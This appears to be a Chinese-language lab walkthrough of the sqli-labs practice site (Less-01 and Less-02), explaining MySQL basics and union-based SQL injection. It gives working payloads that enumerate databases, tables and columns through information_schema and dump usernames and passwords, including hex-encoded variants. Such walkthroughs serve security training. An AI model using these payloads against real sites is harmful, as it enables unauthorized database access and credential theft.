MYSQL基本用法
- 查库
show databases; ##方法1
select schema_name from information_schema.schemata; ##方法2
2. 查表
use security; ##方法1
show tables;
select table_name from information_schema.tables where table_schema='security' ##方法2
3. 查列
select *from users; ##方法1
select column_name from information_schema.columns where table_name='users'; ##方法2
4. 查字段
select username,password from security.users;
less-01
- 首先在phpstudy中打开网站根目录,在第一关的
index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql
语句进行输出,第二句意思为换行符,方便我们浏览。 - F12打开开发者工具中的
hackbar
,在url后面添加/?id=1、2、3
,结果依次如下
用户名上方一行黄色的字母为我们第一步中输出的sql语句
- 当输入
id=3'
时,页面会提示报错信息,信息中说明有sql错误,说明存在sql注入。 - 我们看报错信息的
id=3
后面多了一个单引号,因此删去一个单引号,即可正确执行。 - 当我们尝试在
/?id=3'
后面添加注释符号--+
,发现该payload
被正确执行。 - 将id=1时输出的sql语句
SELECT * FROM users WHERE id='1' LIMIT 0,1
在命令行输出
- 输入
select *from users limit 0,1;
与输入SELECT * FROM users WHERE id='1' LIMIT 0,1
结果相同。
- 接下来分析
limit 0,1
的意思,先分别输入limit 2,1
和limit3,1
时结果如下,再尝试分别输入limit 0,2
和limit 0,3
。因此我们发现limit 0,1
中第一位表示从第几个开始,如0
表示从第一个开始;第二位表示显示多少行字段。
- 我们继续在命令行中尝试order by的用法。我们分别输入
select *from users order by 2
和select *from users order by 3
进行查看,可以发现分别对第二列和第三列进行了排序。当我们使用select *from users order by 4
会报错,因此order by 可以判断字段数(即数据的列数)。
- 当输入
id=-1' union select 1,2,3--+
时,发现2和3回显,可以进行利用。 - 当在命令行输入
select *from users limit 1,1 union select 1,2,3
时,对比
select user();
select database();
select version();
select @@datadir; ##mysql安装路径
select @@version_compile_os; ##操作系统
13. 利用上述联合查询的回显,在url后添加id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
得到所有的数据库信息。其中group concat()
可以将所有数据连接,拼接作为一行显示。
mysql
中的information_schema
结构用来存储数据库系统信息 。information_schema
结构中这几个表存储的信息,在sql注入中可以用到的几个表。
| SCHEMATA
――>存储数据库名的,
|——>关键字段:SCHEMA_NAME
,表示数据库名称
| TABLES
――>存储表名的
|——>关键字段:TABLE_SCHEMA
表示表所属的数据库名称;TABLE_NAME
表示表的名称
| COLUMNS
――>存储字段名的
|——>关键字段:TABLE_SCHEMA
表示表所属的数据库名称;TABLE_NAME
表示所属的表的名称COLUMN_NAME
表示字段名
14. 查询security
库中的表名。
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
或者使用十六进制编码
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+
16. 查询users
表中的列。
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
17. 查询username
id=-1' union select 1,2,group_concat(username) from security.users --+
18.concat_ws()
函数
id=-1' union select 1,2,group_concat(concat_ws("~", username,password) ) from security.users --+
id=-1' union select 1,2,group_concat(concat_ws(0x7e, username,password) ) from security.users --+
推荐使用十六进制编码,避免双引号的使用。
19. 总结
less 02
- 与上一关的第一步相同,首先在phpstudy中打开网站根目录,在第一关的
index.php
的文件中加入两行代码echo $sql; echo "<br>";
第一句意思是将我们构造的sql
语句进行输出,第二句意思为换行符,方便我们浏览。 - 输入?id=1时
输入?id=1’时报错说明存在注入漏洞。 - 我们查看报错原因是因为1后面多加了一个单引号,这一关与上一关的区别就是这一关不需要加单引号。因此,我们删去单引号直接进行order by查询时的语句为
?id=1 order by 3--+
。
- 其余步骤与第一关相同。